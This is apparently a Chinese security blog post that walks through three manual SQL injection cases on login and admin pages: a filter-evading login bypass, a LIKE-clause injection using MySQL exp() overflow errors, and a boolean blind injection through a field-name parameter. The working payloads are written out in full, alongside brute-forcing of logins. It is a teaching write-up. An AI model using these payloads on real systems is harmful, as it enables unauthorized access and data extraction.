一.引子
安逸的周日晚上,疯玩了两个月的小雷终于想起来了自己freebuf账号的密码,于是决定整理些近期遇到的抽象的SQL注入案例分享给各位帅比,请诸位尽情感受手注带来的乐趣!!
二.案例
案例一:高防护下的万能密码
入手点就是这个登录页面了
账号密码随便输入,抓包
ln为用户名,pwd为密码。ln参数加个单引号试试。
发现500了,这明显有问题啊,再加一个单引号。
实锤了,这位置存在SQL注入漏洞。登录接口,直接使用万能密码尝试绕过登录。
发现直接没返回包了,不妙啊,感觉请求像是被设备识别关键字拦截掉了。尝试发现设备几乎对所有重要的关键词都设防了,各种绕过方式均以失败告终。
那是否存在一条万能密码payload可以在不使用关键词的前提下成功绕过登录? 有的兄弟,有的!!
ln=admin';--+-
咦?竟然没进去,看来还是得研究下这个payload原理。
小雷猜测该处的SQL语法是这样的。
select * from user where username=.'$ln'. and password=.'$pwd';
当小雷的payload打进去,语法就变成了
select * from user where username='admin';--+-' and password='123456';
其实也就是:
select * from user where username='admin';
也就是目前payload让原本校验用户名和密码的SQL语句变成了只校验用户名,但是为什么没进去?
答案是:系统不存在admin用户,接下来就简单了,直接爆破admin这个位置。
可见,系统的安全不能完全依仗设备。
案例二:LIKE注入
入手点依旧是一个平平无奇的登录页面
通过爆破成功登录,在管理员管理位置抓到一个数据包。
roles参数加单引号
直接丢给sqlmap,参数拉到最高竟然没跑出来,看来又得演示手法了。
先把SQL语句扣下来,格式化下语法结构。
SELECT *
FROM
`eb_system_admin`
WHERE
( CONCAT(',',roles,',') LIKE '%,111111111111',%' )
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
像这种LIKE注入一定要注意他原本的格式,先把注入点前后语法补齐,然后插入and
或者or
。
先补齐前后语法,通过AND配合语法格式在注入点将语句前后都补齐。
aaaaaaaa,%')+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
完美,我们把payload赋给roles参数,发包看一下。
不报错了,说明前后语法已经被完美闭合。接下来,我们再加一个AND,
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
1 LIKE 1
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
再把payload带入发包。
然后进一步修改payload,利用exp()函数特性进行SQL注入
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
-->
aaaaaaaa,%')+AND+1+LIKE+exp(709)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
无报错
-->
aaaaaaaa,%')+AND+1+LIKE+exp(710)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
报错
这是因为在mysql中exp()函数的参数值大于709时会抛出一个溢出异常。
根据此特性构造payload
/adminapi/setting/admin?roles=aaaaaaaa,%')+AND+1+LIKE+exp(999-length(version()))+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
主要是这里
exp(999-length(version()))
,fuzz "999"的位置,直到不报错。
最终发现,当"999"的位置替换为719时,不报错;当"999"的位置替换为720时系统报错。
也就是720-length(version() = 710
,所以当前数据库版本的长度为10。
点到为止,下一个下一个。
案例三:字段名注入
依然是朴实无华的登录页面。
通过朴实无华的fuzz大法登录系统,在用户管理处抓包。
value
就是我们输入的内容。
测试发现value参数并无注入漏洞,field参数加单引号回显包状态码会500。
再加一个单引号,直接爆出了SQL语句。
sqlmap参数拉到最高,依然没跑出来。
把SQL语句抠出来,格式化。
SELECT count(*) as id
FROM
account
WHERE
(account.username LIKE ?)
有代码基础的兄弟一看到这个SQL语句就明白为啥value
参数没有注入漏洞了,典型预编译写法,看来程序员还是有一定安全意识的。
仔细观察返回包参数和SQL语法。
而我们主要要看的就是field
参数,field
参数被拼接到了字段名中。
还是跟上面一样,先把注入点前后语法补齐。
username like '1') and (1
SELECT count(*) as id
FROM
account
WHERE
(account.username like '1')
and
(1 like LIKE ?)
带入发包。
没报错,说明语法被完美闭合了。因为这个功能是查询用户,所以我们可以通过or
进行布尔盲注。
username like '1') or 1=1 and (1
长度1388
username like '1') or 1=2 and (1
长度339
构造payload
username like '1') or n=length(user()) and (1
当n=length(user()) 时,也就是n为当前数据库用户名长度时,返回包长度为1388
最终爆破出用户名长度为14,依然是点到为止。
三.总结
手注SQL的魅力在于它的变幻多样性,愿诸位都能感受到手注带来的快感,感谢阅读。